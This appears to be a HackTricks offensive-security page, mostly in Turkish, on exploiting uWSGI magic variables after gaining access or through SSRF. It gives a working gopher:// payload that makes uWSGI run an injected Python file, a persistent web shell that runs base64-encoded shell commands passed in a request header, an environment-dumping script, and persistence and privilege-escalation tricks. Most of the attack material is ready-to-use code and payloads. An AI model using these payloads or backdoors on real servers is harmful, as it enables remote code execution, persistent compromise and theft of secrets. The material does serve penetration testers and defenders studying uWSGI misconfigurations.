WSGI Post-Exploitation Tricks
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
WSGI Genel Bakış
Web Server Gateway Interface (WSGI), bir web sunucusunun web uygulamalarıyla nasıl iletişim kurduğunu ve web uygulamalarının bir isteği işlemek için nasıl zincirlenebileceğini tanımlayan bir spesifikasyondur. uWSGI, Python web uygulamalarını sunmak için sıkça kullanılan en popüler WSGI sunucularından biridir.
uWSGI Magic Variables Exploitation
uWSGI, sunucu davranışını dinamik olarak yapılandırmak için kullanılabilen özel "magic variables" sağlar. Bu değişkenler HTTP başlıkları aracılığıyla ayarlanabilir ve doğru şekilde doğrulanmadıklarında ciddi güvenlik açıklarına yol açabilir.
Key Exploitable Variables
UWSGI_FILE
- Arbitrary File Execution
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Bu değişken, rastgele Python dosyalarını WSGI uygulamaları olarak yüklemeye ve çalıştırmaya izin verir. Bir saldırgan bu parametreyi kontrol edebiliyorsa Remote Code Execution (RCE) gerçekleştirebilir.
UWSGI_SCRIPT
- Betik Yükleme
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Belirtilen bir script'i yeni bir uygulama olarak yükler. Dosya yükleme veya yazma yetenekleriyle birleştiğinde, bu RCE'ye yol açabilir.
UWSGI_MODULE
ve UWSGI_CALLABLE
- Dinamik Modül Yükleme
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Bu parametreler rastgele Python modüllerini yüklemeye ve bunlar içinde belirli fonksiyonları çağırmaya izin verir.
UWSGI_SETENV
- Ortam Değişkeni Manipülasyonu
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Ortam değişkenlerini değiştirmek için kullanılabilir; bu, uygulama davranışını etkileyebilir veya kötü amaçlı yapılandırma yüklenmesine neden olabilir.
UWSGI_PYHOME
- Python Ortamının Manipülasyonu
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Python sanal ortamını değiştirir; potansiyel olarak kötü amaçlı paketlerin veya farklı Python yorumlayıcılarının yüklenmesine yol açabilir.
UWSGI_CHDIR
- Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
İstekleri işlemeye başlamadan önce çalışma dizinini değiştirir; bu, path traversal saldırılarında kullanılabilir.
SSRF + Gopher ile
Saldırı Vektörü
uWSGI SSRF (Server-Side Request Forgery) yoluyla erişilebiliyorsa, saldırganlar dahili uWSGI soketiyle etkileşime geçerek magic variables'ı kötüye kullanabilir. Bu durum özellikle şu durumlarda tehlikelidir:
- Uygulamada SSRF zafiyetleri bulunması
- uWSGI'nin dahili bir port/sokette çalışıyor olması
- Uygulamanın magic variables'ı doğru şekilde doğrulamaması
uWSGI, config dosyası uwsgi.ini
içinde socket = 127.0.0.1:5000
bulunduğu için SSRF nedeniyle erişilebilir hale gelir; bu da web uygulamasından SSRF yoluyla erişilebileceği anlamına gelir.
Sömürü Örneği
Adım 1: Kötü amaçlı Payload oluşturma
İlk olarak, sunucunun erişebildiği bir dosyaya Python kodu enjekte edin (sunucu içinde dosya yazma, dosya uzantısı önemli değildir):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Adım 2: uWSGI Protokol İsteği Oluştur
Ham uWSGI paketlerini göndermek için Gopher protokolünü kullanın:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Bu payload:
- uWSGI'ye port 5000 üzerinden bağlanır
UWSGI_FILE
'ı kötü amaçlı dosyayı gösterecek şekilde ayarlar- uWSGI'yi Python kodunu yüklemeye ve çalıştırmaya zorlar
uWSGI Protokol Yapısı
uWSGI protokolü şu şekilde ikili bir format kullanır:
- Değişkenler uzunluk-önekli dizeler olarak kodlanır
- Her değişken şunu içerir:
[name_length][name][value_length][value]
- Paket, toplam boyutu içeren bir header ile başlar
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Sonra bu backdoor'u yüklemek için UWSGI_FILE
'i kullanın:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Ortam Tabanlı Kalıcılık
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Bilgi Açığa Çıkarma
Ortam Değişkenleri Dökümü
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Dosya Sistemi Erişimi
Hassas dosyalara erişmek için dosya sunumu ile birlikte UWSGI_CHDIR
kullanın:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
Eğer uWSGI yükseltilmiş ayrıcalıklarla çalışıyorsa, saldırganlar socket izinlerini değiştirebilir:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Yapılandırma Geçersiz Kılma
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.